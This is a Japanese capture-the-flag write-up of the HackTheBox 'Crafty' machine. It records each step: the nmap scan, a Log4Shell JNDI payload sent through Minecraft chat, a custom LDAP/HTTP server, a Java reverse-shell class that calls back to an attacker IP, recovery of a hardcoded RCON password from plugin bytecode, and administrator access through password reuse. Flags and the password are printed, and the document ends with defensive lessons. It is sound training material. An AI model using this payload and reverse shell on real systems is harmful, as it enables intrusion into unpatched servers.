HackTheBox: Crafty — 全実行コマンド・実行結果レポート
Nmap スキャン
80/IIS, 25565/Minecraft 1.16.5
→
80/IIS, 25565/Minecraft 1.16.5
脆弱性特定
CVE-2021-44228 Log4Shell
→
CVE-2021-44228 Log4Shell
自作LDAP+HTTPサーバー
JNDI codebase リダイレクト
→
JNDI codebase リダイレクト
Exploit.class (Java8)
チャット経由で発火
→
チャット経由で発火
svc_minecraft シェル
user.txt ✓
→
user.txt ✓
playercounter プラグイン
jarを抽出しバイトコード解析
→
jarを抽出しバイトコード解析
平文パスワード発見
s67u84zKq8IXw
→
s67u84zKq8IXw
net use administrator → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン & バージョンスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.193 nmap -sV -sC -p 80,25565 10.129.230.193
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Did not follow redirect to http://crafty.htb |_http-server-header: Microsoft-IIS/10.0 25565/tcp open minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
重要発見: 25565/tcp で Minecraft 1.16.5 サーバーが稼働中。
このバージョンは標準で Log4j 2.x(Log4Shell, CVE-2021-44228)に対して脆弱なことで知られる。
80番は IIS で
http://crafty.htb へリダイレクトするのみの単純な会社サイト(実際の侵入経路ではない)。
vhost追加 & Webサイト確認(参考情報)
BASH
echo "10.129.230.193 crafty.htb" | sudo tee -a /etc/hosts curl -s http://crafty.htb/ | head -c 500
RESULT
<title>Crafty - Official Website</title>
...<div class="items">
<a href="/coming-soon" class="item forums">...<!-- Minecraft サーバーの公式案内ページ -->
PHASE 2
脆弱性調査 — Log4Shell (CVE-2021-44228)
Log4Shell の悪用メカニズム
NOTE
Minecraft 1.16.5 サーバーは Log4j 2.x を使ってチャットメッセージ等のログを
出力する。Log4j の "%m"(メッセージ文字列)がログフォーマット中に含まれる場合、
メッセージ文字列内の
${jndi:ldap://<攻撃者サーバー>:<port>/<name>}
というパターンがログ出力時に Lookup 構文として解釈され、記載された
LDAPサーバーへ問い合わせを行う。
攻撃者が自前のLDAPサーバーを用意し、応答として
javaCodeBase = http://<攻撃者HTTPサーバー>/
javaFactory = Exploit
を持つ javaNamingReference を返すと、サーバーVM(JNDI経由)が
指定のHTTPサーバーからクラスファイルをダウンロード・ロードし、
static初期化ブロックが即座に実行される。
→ これにより任意のJavaコード(=実質任意コマンド実行)が可能になる。
Minecraft の場合、プレイヤーがチャットに入力した文字列がそのままサーバーログへ
記録されるため、認証不要でチャット欄に payload を送るだけでトリガーできる。
🚨
Minecraft 1.16.5 は Log4Shell 発覚直後の公式パッチ未適用バージョンで広く知られる脆弱構成。
オフラインモードのサーバーであれば、正規のMojangアカウント認証なしで任意のユーザー名でログインしチャット送信が可能。
PHASE 3
Log4Shellエクスプロイトの自作構築
リバースシェル用 Java クラスの作成(Java 8 でコンパイル必須)
NOTE
Minecraft 1.16.5 サーバーは Java 8 で動作していることが多く、JVMの
クラスファイル major version は実行環境と互換性が必要。
javac --release 11 でコンパイルすると major=55 となり、Java 8 側では
UnsupportedClassVersionError が発生してstatic初期化ブロックが
一切実行されないまま静かに失敗する(例外は投げられるがログに
出ないことが多く、原因特定が難しい)。
→ 必ず javac --release 8 を使う。
また、Java 8 はラムダ式のクラスロードに invokedynamic/LambdaMetafactory
を要求するため、JNDIで動的ロードしたクラス単体では解決できず失敗しやすい。
→ ラムダ式ではなく匿名 Runnable クラス(new Runnable(){...})で記述する。
PYTHON (Exploit.java の生成)
import java.io.*;
import java.net.*;
public class Exploit {
static {
try {
final String host = "10.10.15.200"; // Kali (リスナー)
final int port = 4460;
Thread t = new Thread(new Runnable() {
public void run() {
try {
Socket s = new Socket(host, port);
Process p = Runtime.getRuntime().exec("cmd.exe");
// stdin/stdout/stderr を3本の匿名Runnableスレッドで
// ソケットとプロセスの間に相互中継する
...
} catch(Exception e) {}
}
});
t.setDaemon(false);
t.start();
} catch(Exception ignored) {}
}
}
BASH
javac --release 8 Exploit.java
RESULT
警告: [options] ソース値8は廃止されていて、今後のリリースで削除される予定です(無視してよい)
Exploit.class 生成完了 (500 bytes)
Exploit$1.class / Exploit$1$1.class / Exploit$1$2.class / Exploit$1$3.class も付随生成
⚠️
匿名 Runnable を3重にネストしているため、内部クラスが
Exploit$1.class、Exploit$1$1.class…と連番生成される。
これら全てをHTTPサーバーから配布しないとターゲット側のクラスロードが途中で失敗する。
自前 LDAP サーバー(JNDI codebase リダイレクト)
PYTHON(BER応答の要点)
# LDAP BindRequest(0x60)/SearchRequest(0x63) どちらにも対応し、
# SearchResultEntry で javaCodeBase 属性を返すだけの最小実装。
def _ldap_search_entry(msg_id, code_base, factory):
# javaClassName / javaCodeBase / objectClass=javaNamingReference / javaFactory
# を含む LDAP SearchResultEntry (タグ 0x64) を手組みBERで生成
...
# メッセージID (msg_id) は BERパケットの先頭 SEQUENCE 直後、
# INTEGER タグ(0x02)の値部分。長さフィールドが long-form(0x80ビット立つ)か
# short-form かで読み出し開始位置が変わる点に注意。
BASH
# LDAP(1390) + HTTP(8090) + リバースシェルリスナー(4460)を同時起動 python3 manual_exploit.py
RESULT
[*] HTTP server on :8090 serving ./crafty/ [*] LDAP server listening on 1390, codebase=http://10.10.15.200:8090/ [*] reverse shell listener on :4460
PHASE 4
Minecraftチャット経由でエクスプロイト発火 & user.txt 取得
Minecraftプロトコルでログインしチャット送信
NOTE
Minecraft 1.16.5(プロトコル754)に生ソケットで接続し、 Handshake(0x00, state=2=Login) → Login Start(0x00, username="log4player") を送信。サーバーからの Login Success(0x02) を待つが、その前に Set Compression(0x03) パケットが来ることがあるため、以後の全パケットは 圧縮形式([Data Length VarInt][PacketID][Data]、Data Length=0ならば非圧縮) で読み直す必要がある。 ログイン後すぐにチャットを送ると発火前にサーバー側の初期化が終わっていない ことがあるため、Play状態のパケットを3秒ほど読み捨てて待つ。 その後 Chat Message パケット(0x03) に JNDI payload を文字列として積んで送信、 送信後も5秒ほど接続を保持してサーバー側の非同期ログ処理を完了させる。
PYTHON
jndi = "${jndi:ldap://10.10.15.200:1390/o=reference}"
send_jndi("10.129.230.193", 25565, jndi, proto=754)
RESULT
[*] logged_in=True compression=True
[*] sending chat with JNDI payload: ${jndi:ldap://10.10.15.200:1390/o=reference}
[*] LDAP request from ('10.129.230.193', 49695), tag=0x60
[+] LDAP reference sent (javaCodeBase redirect)
[+] served Exploit.class (500 bytes) to ('10.129.230.193', 49696)
[+] served Exploit$1.class (1176 bytes) to ('10.129.230.193', 49697)
[+] connection from ('10.129.230.193', 49698)
[+] served Exploit$1$1.class / Exploit$1$2.class / Exploit$1$3.class ...
✅
発火確認。 ターゲットのMinecraftサーバーが、サーバー自身のLDAPクライアント経由で
こちらの偽LDAPサーバーに問い合わせ→javaCodeBase参照→HTTP経由でExploit.class一式をダウンロード
→static初期化ブロック実行、という流れが実際に発生し、リバースシェルが返ってきた。
シェル確認 & user.txt 取得
BASH
whoami type C:\Users\svc_minecraft\Desktop\user.txt
RESULT
c:\users\svc_minecraft\server>whoami crafty\svc_minecraft c:\users\svc_minecraft\server>type C:\Users\svc_minecraft\Desktop\user.txt 4f636d0893b6c0fd18c9ef801e32bee4
user.txt — crafty\svc_minecraft
4f636d0893b6c0fd18c9ef801e32bee4
PHASE 5
権限昇格調査 — playercounterプラグインから平文パスワード抽出
サーバーディレクトリのプラグイン探索
BASH
dir /s /b C:\Users\svc_minecraft\server\plugins\*.jar
RESULT
C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar
ℹ️
自作と思われるプラグイン「プレイヤー数カウンター」。クラス名に
net.kronos.rkon.core.Rcon(RCON = Minecraft Remote Console プロトコルのクライアントライブラリ)
を含んでおり、RCON接続用のパスワードがどこかにハードコードされている可能性が高い。
jarをユーザー書込み可能ディレクトリへコピーし展開
BASH
copy "C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar" C:\Users\svc_minecraft\pc.zip powershell -c "Expand-Archive -Path C:\Users\svc_minecraft\pc.zip -DestinationPath C:\Users\svc_minecraft\pc_extracted -Force" dir /s /b C:\Users\svc_minecraft\pc_extracted\*.class
RESULT
1 file(s) copied.
C:\Users\svc_minecraft\pc_extracted\htb\crafty\playercounter\Playercounter.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\Rcon.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\RconPacket.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\ex\AuthenticationException.class
C:\Users\svc_minecraft\pc_extracted\net\kronos\rkon\core\ex\MalformedPacketException.class
ℹ️
jar は zip 形式そのものなので、拡張子を
.zip に変えてコピーするだけで
PowerShell 標準の Expand-Archive がそのまま展開できる(別途ツール不要)。
Playercounter.class をローカルへ取り出し、定数プールの文字列を解析
NOTE
PowerShellのインライン -c ワンライナーは cmd.exe → PowerShell と2重解釈される 際にクォートが崩れて失敗しやすい(本検証でも一度失敗した)。代わりに certutil -encode でファイルをBase64テキスト化し、type で標準出力へ流して こちら側でBase64デコードする方法が、クォート崩れの心配がなく確実。 ただし C:\windows\temp 配下に certutil -encode の出力を書いた場合、 svc_minecraft 自身の type でも "Access is denied" となるケースがあった (ACL/リダイレクタの影響と見られる)。自分のホームディレクトリ (C:\Users\svc_minecraft\) 配下に出力すれば問題なく読み出せる。
BASH
certutil -encode C:\Users\svc_minecraft\pc_extracted\htb\crafty\playercounter\Playercounter.class C:\Users\svc_minecraft\pcc.b64 type C:\Users\svc_minecraft\pcc.b64
RESULT(抜粋・Base64デコード後の定数プール文字列)
...
(定数プール内) "127.0.0.1"
(定数プール内) "s67u84zKq8IXw"
(定数プール内) "net/kronos/rkon/core/Rcon"
...
PYTHON(ローカル側の抽出処理)
class_bytes = base64.b64decode(b64_data)
text = class_bytes.decode("latin1")
tokens = re.findall(r"[A-Za-z0-9_\-\.]{8,30}", text)
# 英大文字+英小文字+数字を全て含むトークンだけに絞り込む
candidates = [t for t in tokens if re.search(r"[A-Z]",t) and re.search(r"[a-z]",t) and re.search(r"[0-9]",t)]
print(candidates) # → ['s67u84zKq8IXw']
✅
パスワード発見。
.class ファイルはコンパイル時に文字列リテラルを
平文のまま定数プールに保持するため、逆コンパイルすら不要で、
バイト列からASCII文字列を拾うだけでRCON接続文字列 "127.0.0.1" の直後に
パスワード s67u84zKq8IXw が隠されていることが分かった。
PHASE 6
net use administrator → root.txt
パスワード使い回しの確認
NOTE
RCON接続パスワード(本来はMinecraftサーバーのリモートコンソール専用)が、 OSアカウント crafty\administrator のログオンパスワードとしても そのまま使い回されていた、という典型的な認証情報の流用パターン。
BASH
net use \\127.0.0.1\c$ s67u84zKq8IXw /user:crafty\administrator
RESULT
net use \\127.0.0.1\c$ s67u84zKq8IXw /user:crafty\administrator
The command completed successfully.
✅
認証成功。 crafty\administrator として SMB 経由で C$ 共有に認証できた。
UNCパス経由で root.txt を直接読み出し
BASH
type \\127.0.0.1\c$\Users\Administrator\Desktop\root.txt
RESULT
type \\127.0.0.1\c$\Users\Administrator\Desktop\root.txt
5e4f897f734a503b1bcbf0d7e76a94ff
ℹ️
net use で一度認証済みのホスト・共有に対しては、type \\host\share\...
のようにドライブ文字へマウントしなくても UNC パスへ直接 type するだけで読み出せた。
(環境・Windowsビルドによってはcopy系コマンドのみUNC直接操作が拒否され、
ドライブ文字へのマッピング(net use Z: ... → type Z:\...)が
必要になるケースも報告されているため、UNC直接読み取りが失敗する場合はこちらを試すとよい。)
root.txt — Administrator@crafty
5e4f897f734a503b1bcbf0d7e76a94ff
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — crafty\svc_minecraft
4f636d0893b6c0fd18c9ef801e32bee4
root.txt — Administrator@crafty
5e4f897f734a503b1bcbf0d7e76a94ff
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2021-44228 (Log4Shell) |
Minecraft 1.16.5 サーバー (Log4j 2.x) | 未認証リモートコード実行 | Critical | チャットメッセージに ${jndi:ldap://...} を送信、偽LDAP+HTTPサーバーでJavaクラスをロードさせ任意コード実行 |
| ハードコード認証情報 | playercounter-1.0-SNAPSHOT.jar (自作プラグイン) | 権限昇格 (svc_minecraft → administrator) | Medium | .classファイルの定数プールに平文で埋め込まれたRCONパスワードが、OS administratorパスワードとしても使い回されていた |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 80(IIS)/25565(Minecraft 1.16.5)を検出 |
| 2 | 脆弱性調査 | バージョンからLog4Shell該当を特定 | CVE-2021-44228 の適用可能性を確認 |
| 3 | エクスプロイト構築 | Java8リバースシェルクラス自作 + 自前LDAP/HTTPサーバー実装 | Exploit.class 一式 + JNDI codebase配信基盤 |
| 4 | 発火 | Minecraftプロトコルでログイン→チャット送信 | user.txt 取得(svc_minecraft シェル) |
| 5 | パスワード抽出 | jar展開 + .classバイナリの定数プール文字列解析 | administrator共通パスワード s67u84zKq8IXw |
| 6 | 権限昇格 | net use administrator + UNC経由type | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Minecraftサーバーが脆弱な Log4j 2.x を含むバージョンで稼働し続けている | Log4j を 2.17.1 以降へアップデート、または起動オプションに
-Dlog4j2.formatMsgNoLookups=true を付与してLookup機能自体を無効化する。
サーバーをインターネットから隔離し、信頼できるプレイヤーのみに限定する。 |
| サーバーサイドで任意の外部LDAP/JNDI参照を許可してしまう実行環境構成 | アウトバウンドLDAP/RMI通信をファイアウォールで制限、JEP 290等のJava側の 逆直列化フィルタリング機構を有効化する。 |
| 自作プラグインの .class ファイルに RCON パスワードを平文でハードコード | 機密情報はソースコード・バイトコードに埋め込まず、環境変数や外部の シークレット管理(Vault等)から読み込む設計にする。 |
| アプリケーション用パスワード(RCON)をOS管理者アカウントのパスワードと共通化 | 用途ごとに異なる認証情報を発行し、パスワードの使い回しを組織的に禁止する。 |

